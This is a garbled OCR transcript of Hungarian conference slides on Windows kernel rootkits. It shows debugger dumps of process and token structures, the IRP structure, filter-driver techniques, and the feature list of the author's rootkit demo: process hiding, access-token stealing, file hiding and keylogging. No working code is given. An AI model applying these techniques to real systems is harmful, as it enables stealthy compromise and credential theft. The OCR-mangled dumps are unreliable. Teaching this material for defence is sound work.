83322050 ac 20 00 00 OO0 OO0 OO OQO0-29 00 00 OO0 O1 OO0 00 00 . oeews ) . 00 00 OO0 00 00 00 .dZ....c.irunnnan
83322080 &0 20 32 83 60 20 32 83-00 OO0 Q0 OO0 QO OO0 QD OO0 ~ 2.  Z.i.ieeeeas bl 60 Oe 00 OO0 Q00 .....ccevuue R
83322070 9C 05 4c 83 9C 05 4c B3-00 00 OO0 OO0 O1 OO0 OD 00 ..L...Llevevnuwwns 00 00 OO0 00 00 0D ... i.ieeevanmnas
83322080 00 00 OO0 0O O3 24 00 QO-00 OO0 Q0O Od 01 OO QO OO ..... . OO0 00 00 00 DD 00 .. ieevennnnnsns
83322090 00 00 OO0 Q0O OO OO OO0 OQO0-ad eb 77 48 00 OO0 QD OO0 ......c.u. wH. « .. OO0 00 00 00 DD 00 .. ieevennnnnsns
833220a0 00 00 Q0 OO0 QD 00 Q0D 00-aa 2a 77 94 60 25 ca 0l ...iinwnn w. %.. OO0 00 0L 00 00D 00 pPeveessssnnnnsns
833220b0 OO0 00 OO0 QOO OO0 QO OO0 QO-00 OO0 QO OO0 44 09 0D 00 ....veeennas D... ed 91 0 1la ed 91 <. ivevcrnnnnran
833220c0 30 Oe 41 83 30 3e 3c 83-60 09 00 OO0 50 6d 01 00 O.A.Ox<. ...Pm.. OO0 00 00 00 DD 00 .. ieevennnnnsns
833220d0 5c 02 00 0O 70 19 00 Q0-80 cb 01 OO0 80 O3 0D OO0 MN...Peecveancnas OO0 00 00 00 DD 00 .. ieevennnnnsns
833220e0 5c 02 00 00 00 e0 bc 03-00 0 9 02 5c Oe 41 83 M. rvienrnns oA OO0 00 00 00 DD 00 ... Xieeonnnnsnn
833220f0 5c 3e 3c 83 00 OO0 OO0 Q0-e0d fc 2d 83 90 72 ea 91 ‘><iu.uww. el 00 00 00 00 00 0D ... e w e
83322100 23 3a e9 91 3 07 01 Q0-00 OO0 QOO0 OO0 QO OO0 QD OO0 #:....civeenenas OO0 00 00 00 DD 00 .. ieevennnnnsns
83322110 00 00 Q00 00 00 00 00 O00-00 00 00 00 DD I OO0 00 00 00 DD 00 .. ieevennnnnsns
83322120 15 01 00 0O OO0 QO OO QO-00 f5 42 ff OO OO QO OO0 ..........B..... OO0 00 00 00 DD 00 .. ieevennnnnsns
83322130 28 bd =9 91 00 00 &f 4a-98 O 00 0L 00 DD 00 .. ieevennnmnnns
83322140 1c 00 00 OO0 04 OO0 00 O0-00 L L T 1
83322150 00 00 00 00 38 37 83 8e-00 O 00 00 00 00 00 ... ieevennnmnnns
83322160 00 OO0 OO OO0 OO OO0 OO0 00-00 O 00 00 00 00 00 ... ieevennnmnnns
83322170 65 78 65 00 00 OO0 OO0 0O0-00 O 00 00 00 00 00 ... ieevennnmnnns
kd§1?t _eprocess 83322020 93A20
nt | _EPROCESS I A A

+0x000 Pch : _KPROCE Hamarosan Vldeo formaban e _TOKEN_S0OURCE

+0x080 ProcessLock : _EX_PUS http //hackt|V|ty hu ame : "ESYSTEM*"

+0x088 CreateTime v _LARGE_imicubn uxicaliow =Z4rs = (I -

+0x090 Ex1tTime : _LARGE_INTEGER 0Ox0O :Dl: 83 's’

+0x098 RundownProtect : _EX_RUNDOWM_REF [02] 89 'Y’

+0x09c UniqueProcessId : Ox00000944 (03] 83 '5°

+0x0ald ActiveProcessLinks : _LIST_ENTRY [ 0Ox&3410e30 - 0 [04] 84 'TT

+0x0ad Quotalsage : [3] Ow960 05] 689 'E’

+0x0b4 QuotaPeak : [3] w1970 [06] 77 "M’

+0x0c0 CommitCharge : Ow25cC [07] 42 '="

+0x0c4 PeakVirtualsize @ O0x3bce000 +0x008 Sourceldentifier : _LUID

+0x0cd Virtualsize : Ow2fafooo +0x000 LowPart : 0

+0x0cc 5&5510nPrncessL1nk5 : _LIST_ENTRY [ Ox83410e5c - +0x004 HighPart : 0

+0x0d4 DebugPort (null) +0x010 TokenId : _LUID

+0x0d 3 ExcepthnPDrtData : Owd32dfced +0x000 LowPart : Ow3ef3v

+0x0d8 ExceptionPortValue : 0x832dfcel +0x004 HighPart : 0

+0x0d8 ExceptionPortState : Ow000 +0x018 AuthenticationId : _LUID

+0x0dc ObjectTable : 0x91ear7290 _HANDLE_TAEBLE +0x000 LowPart : Ox3er?

+0x0ed Token 1 _EX_FAST_REF +0x004 HighPart : 0

+0x0ed WorkingSetPage : Ox107F3 +0x020 ParentTokenId : _LUID

+0x0e8 AddressCreationLock : _EX_PUSH_LOCK +0x000 LowPart : 0

+0x0ec RotateInProgress : (null) +0x004 HighPart : 0

+0x0f0 ForkInProgress : (null) +0x028 ExpirationTime : _LARGE_INTEGER O0x&620752& b

+0x0f4 HardwareTrigger : 0O +0x000 LowPart : Oxb&dceban

+0x0f8 PhysicalVadRoot : (null) +0x004 HighPart : 102790438
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Filter driverek

* A driverekkel vald6 kommunikacio IRP (interrupt request
packet) formajaban tortenik
 Ez részben dokumentalatlan
* Fontosabb kezelendo tipusok:
o |IRP_MJ READ (olvasas)
o IRP_MJ WRITE (iras)
o IRP_MJ DEVICE CONTROL (IOCTL)



ypedef struct IRP {

PMOL MdlAddress;
ULONG Flags;
union {
struct IRP *MasterIrp;

PVOID SystemBuffer;
T AssoclatedIrp;

I0 STATUS BLOCK ToStatus;
KPROCESSOR_MODE RequestorMode;
BOOLEAN PendingReturned;

BOOLEAN Cancel;
KIROL Cancellrqgl;

PDRIVER CANCEL CancelRoutine;
PVOID UserBuffer;
union {
struct {
union {
KDEVICE QUEUE_ENTRY DeviceQueueEntry;

struct {
PVOID DriverContext[4];
ti

T
PETHREAD Thread;

LIST ENTRY ListEntry;

} Dvééiay;

b Tail;
IRP, *PIRP;




Technikak
Filter driverek

A driverek altal letrehozott device objektumokat lehet6ségiink
van egymashoz kapcsolni

Az erre hasznalhato fliggvények:
e |oAttachDevice

* |oAttachDeviceByPointer
e |oAttachDeviceToDeviceStack




Technikak
Filter driverek

Elonyok:

e Modosithatjuk a filter lancban alattunk levo drivernek kildatt,
lletve az onnan visszafelé j6vo IRP-ket

 Ezzel az alattunk levo driver altal kiszolgalt keres
eredmenyébdl adatokat vehetlnk ki, illetve adhatunk hozza

Hatranyok:

e KoOnnyen észreveheto

 Nem biztos, hogy mi vagyunk a legkozelebb a lancban a
célponthoz




kd= ab 33322020 83322020+25cC

83322020 03 00 20 00 Q0 OO0 QD OQ0Q-28 20 32 83 28 20 32 83 .. . es (2.0 2. 00 00 00 00 00D 00 =5YSTEM™ . . veeews
83322030 30 20 32 83 30 20 32 83-00 e5 47 AfF QO QO QO OO O 2.0 2...G..... OO0 00 00 00 DD 00 7. rieerennnnnsns
83322040 00 00 Q0D OO0 Q0 OO0 Q0 QO0-00 00 OO0 OO0 00D OO0 0D 00 ... evvwcsnnnnnns 4c be 26 75 20 06 ....evnnnn L.&u .
83322050 ac 20 00 00 OO0 OO0 OO OQO0-29 00 00 OO0 O1 OO0 00 00 . oeews ) . 00 00 OO0 00 00 00 .dZ....c.irunnnan
83322080 &0 20 32 83 60 20 32 83-00 OO0 Q0 OO0 QO OO0 QD OO0 ~ 2.  Z.i.ieeeeas bl 60 Oe 00 OO0 Q00 .....ccevuue R
83322070 9C 05 4c 83 9C 05 4c B3-00 00 OO0 OO0 O1 OO0 OD 00 ..L...Llevevnuwwns 00 00 OO0 00 00 0D ... i.ieeevanmnas
83322080 00 00 OO0 0O O3 24 00 QO-00 OO0 Q0O Od 01 OO QO OO ..... . OO0 00 00 00 DD 00 .. ieevennnnnsns
83322090 00 00 OO0 Q0O OO OO OO0 OQO0-ad eb 77 48 00 OO0 QD OO0 ......c.u. wH. « .. OO0 00 00 00 DD 00 .. ieevennnnnsns
833220a0 00 00 Q0 OO0 QD 00 Q0D 00-aa 2a 77 94 60 25 ca 0l ...iinwnn w. %.. OO0 00 0L 00 00D 00 pPeveessssnnnnsns
833220b0 OO0 00 OO0 QOO OO0 QO OO0 QO-00 OO0 QO OO0 44 09 0D 00 ....veeennas D... ed 91 0 1la ed 91 <. ivevcrnnnnran
833220c0 30 Oe 41 83 30 3e 3c 83-60 09 00 OO0 50 6d 01 00 O.A.Ox<. ...Pm.. OO0 00 00 00 DD 00 .. ieevennnnnsns
833220d0 5c 02 00 0O 70 19 00 Q0-80 cb 01 OO0 80 O3 0D OO0 MN...Peecveancnas OO0 00 00 00 DD 00 .. ieevennnnnsns
833220e0 5c 02 00 00 00 e0 bc 03-00 0 9 02 5c Oe 41 83 M. rvienrnns oA OO0 00 00 00 DD 00 ... Xieeonnnnsnn
833220f0 5c 3e 3c 83 00 OO0 OO0 Q0-e0d fc 2d 83 90 72 ea 91 ‘><iu.uww. el 00 00 00 00 00 0D ... e w e
83322100 23 3a e9 91 3 07 01 Q0-00 OO0 QOO0 OO0 QO OO0 QD OO0 #:....civeenenas OO0 00 00 00 DD 00 .. ieevennnnnsns
83322110 00 00 Q00 00 00 00 00 O00-00 00 00 00 DD I OO0 00 00 00 DD 00 .. ieevennnnnsns
83322120 15 01 00 0O OO0 QO OO QO-00 f5 42 ff OO OO QO OO0 ..........B..... OO0 00 00 00 DD 00 .. ieevennnnnsns
83322130 28 bd =9 91 00 00 &f 4a-98 O 00 0L 00 DD 00 .. ieevennnmnnns
83322140 1c 00 00 OO0 04 OO0 00 O0-00 L L T 1
83322150 00 00 00 00 38 37 83 8e-00 O 00 00 00 00 00 ... ieevennnmnnns
83322160 00 OO0 OO OO0 OO OO0 OO0 00-00 O 00 00 00 00 00 ... ieevennnmnnns
83322170 65 78 65 00 00 OO0 OO0 0O0-00 O 00 00 00 00 00 ... ieevennnmnnns
kd§1?t _eprocess 83322020 93A20
nt | _EPROCESS I A A

+0x000 Pch : _KPROCE Hamarosan Vldeo formaban e _TOKEN_S0OURCE

+0x080 ProcessLock : _EX_PUS http //hackt|V|ty hu ame : "ESYSTEM*"

+0x088 CreateTime v _LARGE_imicubn uxicaliow =Z4rs = (I -

+0x090 Ex1tTime : _LARGE_INTEGER 0Ox0O :Dl: 83 's’

+0x098 RundownProtect : _EX_RUNDOWM_REF [02] 89 'Y’

+0x09c UniqueProcessId : Ox00000944 (03] 83 '5°

+0x0ald ActiveProcessLinks : _LIST_ENTRY [ 0Ox&3410e30 - 0 [04] 84 'TT

+0x0ad Quotalsage : [3] Ow960 05] 689 'E’

+0x0b4 QuotaPeak : [3] w1970 [06] 77 "M’

+0x0c0 CommitCharge : Ow25cC [07] 42 '="

+0x0c4 PeakVirtualsize @ O0x3bce000 +0x008 Sourceldentifier : _LUID

+0x0cd Virtualsize : Ow2fafooo +0x000 LowPart : 0

+0x0cc 5&5510nPrncessL1nk5 : _LIST_ENTRY [ Ox83410e5c - +0x004 HighPart : 0

+0x0d4 DebugPort (null) +0x010 TokenId : _LUID

+0x0d 3 ExcepthnPDrtData : Owd32dfced +0x000 LowPart : Ow3ef3v

+0x0d8 ExceptionPortValue : 0x832dfcel +0x004 HighPart : 0

+0x0d8 ExceptionPortState : Ow000 +0x018 AuthenticationId : _LUID

+0x0dc ObjectTable : 0x91ear7290 _HANDLE_TAEBLE +0x000 LowPart : Ox3er?

+0x0ed Token 1 _EX_FAST_REF +0x004 HighPart : 0

+0x0ed WorkingSetPage : Ox107F3 +0x020 ParentTokenId : _LUID

+0x0e8 AddressCreationLock : _EX_PUSH_LOCK +0x000 LowPart : 0

+0x0ec RotateInProgress : (null) +0x004 HighPart : 0

+0x0f0 ForkInProgress : (null) +0x028 ExpirationTime : _LARGE_INTEGER O0x&620752& b

+0x0f4 HardwareTrigger : 0O +0x000 LowPart : Oxb&dceban

+0x0f8 PhysicalVadRoot : (null) +0x004 HighPart : 102790438



Néhany sz0 a bemutatott rootkitrol

- Tamogatott windows verziok

- Windows XP SP2, SP3

- Windows Server 2003 SP2

- Windows Server 2008 SP1, SP?2
- Windows Vista SP1, SP?2

- Windows 7 Beta, RC1, Enterprise
Fontosabb funkciok

* Folyamatok elrejtése (process hiding)

* Token lopas (Access Token stealing)

- Allomany és konyvtar rejtés (File & Directory hiding)
- Billenty letitések naplozasa (Keylogging)




ROvid 0sszefoglalo

Rootkitek torténete
Felhasznaldi és kernel mod
Alkalmazott technikak
Sajat rootkit demo



Elérhetdosegek

e-mail cim
csaba.barta@gmail.com

Letoltés
http://www.csababarta.com
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